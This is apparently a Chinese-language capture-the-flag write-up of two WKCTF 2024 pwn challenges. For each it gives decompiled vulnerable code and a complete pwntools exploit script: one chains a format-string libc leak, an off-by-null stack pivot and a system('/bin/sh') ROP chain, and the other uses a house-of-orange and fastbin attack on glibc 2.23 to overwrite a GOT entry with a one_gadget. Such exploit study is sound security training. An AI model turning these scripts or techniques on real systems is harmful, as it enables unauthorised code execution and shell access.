nyyyddddn

wkctf_pwn

2024/07/15

题目附件https://github.com/nyyyddddn/ctf/tree/main/wkctf_pwn

pwn

baby_stack

在guess number逻辑这里用格式化字符串泄露 libc地址后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 wait()
{
unsigned int v0; // eax
char s[5]; // [rsp+Bh] [rbp-85h] BYREF
char format[120]; // [rsp+10h] [rbp-80h] BYREF

puts("Press enter to continue");
getc(stdin);
printf("Pick a number: ");
fgets(s, 5, stdin);
v0 = strtol(s, 0LL, 10);
snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);
printf(format);
return introduce();
}

echo 这存在一个 off by null的溢出,有大量的leave ret的逻辑,走完这些leave ret 栈就被迁移到了buf上,由于不知道具体位置,找大量的 nop: ret的gadget写满buf,再结尾写一个system binsh的rop就好了,有可能会因为system中 xmm寄存器 rsp对齐的原因失败,多跑几次就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall echo(unsigned int a1)
{
char v2[256]; // [rsp+0h] [rbp-100h] BYREF

return echo_inner(v2, a1);
}


int __fastcall echo_inner(_BYTE *a1, int a2)
{
a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;
puts("You said:");
return printf("%s", a1);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "110.40.35.73"
PORT = 33632

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

sla("Press enter to continue","")


sla("Pick a number:","6")

ru("Your magic number is: ")
libc_base = int(rl()[:-1],16) - 0x3ec7e3
success(hex(libc_base))

pop_rdi_ret = libc_base + 0x000000000002164f
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x000000000003f8e8
nop_ret = libc_base + 0x000000000001b5a8




sla("How many bytes do you want to read (max 256)?","256")


payload = p64(nop_ret) * 0x10 + p64(pop_rdi_ret) + p64(binsh) + p64(system)
payload = payload.ljust(256,b'\x61')

# g(p)
s(payload)


# g(p)

p.interactive()

easy_heap

glibc 2.23

只有 add edit show三个逻辑,其中show逻辑只能打印八个字节的数据,edit中存在溢出,house of orange,打house of orange的时候,剩余的top chunk大小如果属于fastbin范围,比如说 0x61 就能得到一个fastbin,在sizelist往上部分,有一个位置的值是 0x71,刚刚好满足fastbin的大小,通过fastbin attack可以把堆块申请到那边,然后再配合edit的溢出就能写到chunklist,之后就能实现任意地址读写的原语,通过got泄露libc的基地址,然后将got改成onegadget getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
v3 = 0;
__isoc99_scanf("%d", &v3);
if ( v3 != 3 )
break;
show();
}
if ( v3 <= 3 )
{
if ( v3 == 1 )
{
add();
}
else if ( v3 == 2 )
{
edit();
}
}
}
}

unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
puts("Index :");
__isoc99_scanf("%d", &v1);
write(1, *((const void **)&chunk_ptr + v1), 8uLL);
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 add()
{
unsigned int v0; // ebx
int size[7]; // [rsp+4h] [rbp-1Ch] BYREF

*(_QWORD *)&size[1] = __readfsqword(0x28u);
size[0] = 0;
if ( (unsigned int)chunk_number > 0x20 )
{
puts("too much");
exit(0);
}
puts("Size :");
__isoc99_scanf("%d", size);
if ( size[0] > 0x1000u )
{
puts("too large");
exit(0);
}
chunk_size[chunk_number] = size[0];
v0 = chunk_number;
*((_QWORD *)&chunk_ptr + v0) = malloc((unsigned int)size[0]);
puts("Content :");
read(0, *((void **)&chunk_ptr + (unsigned int)chunk_number), (unsigned int)size[0]);
++chunk_number;
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}

unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
_DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF

*(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
v1 = 0;
nbytes[0] = 0;
puts("Index :");
__isoc99_scanf("%d", &v1);
puts("Size :");
__isoc99_scanf("%d", nbytes);
if ( nbytes[0] > 0x1000u )
{
puts("too large");
exit(0);
}
puts("Content :");
read(0, *((void **)&chunk_ptr + v1), nbytes[0]);
return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "110.40.35.73"
PORT = 33755

elf = context.binary = ELF('./pwn')
# libc = elf.libc
libc = ELF('./libc-2.23.so')

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(size,content):
sla(">\n","1")
sla("Size",str(size))
sa("Content",content)

def edit(idx,size,content):
sla(">\n","2")
sla("Index :",str(idx))
sla("Size",str(size))
sa("Content",content)

def show(idx):
sla(">\n","3")
sla("Index :",str(idx))



add(0xf08,"AAAAA")
add(0x58,"AAAAA")

edit(1,0x60,b"A" * 0x58 + p64(0x91))

add(0x100,"AAA")

edit(1,0x68,b"A" * 0x58 + p64(0x71) + p64(0x40408d))

add(0x68,"A")
add(0x68,"A")


edit(4,0x4b,b"A" * 3 + b"A" * 0x40 + p64(elf.got['puts']))
show(0)

rl()
puts_addr = u64(r(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
success(hex(libc_base))


# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

edit(0,8,p64(libc_base + 0x45226))



# g(p)
p.interactive()
CATALOG
  1. 1. pwn
    1. 1.1. baby_stack
    2. 1.2. easy_heap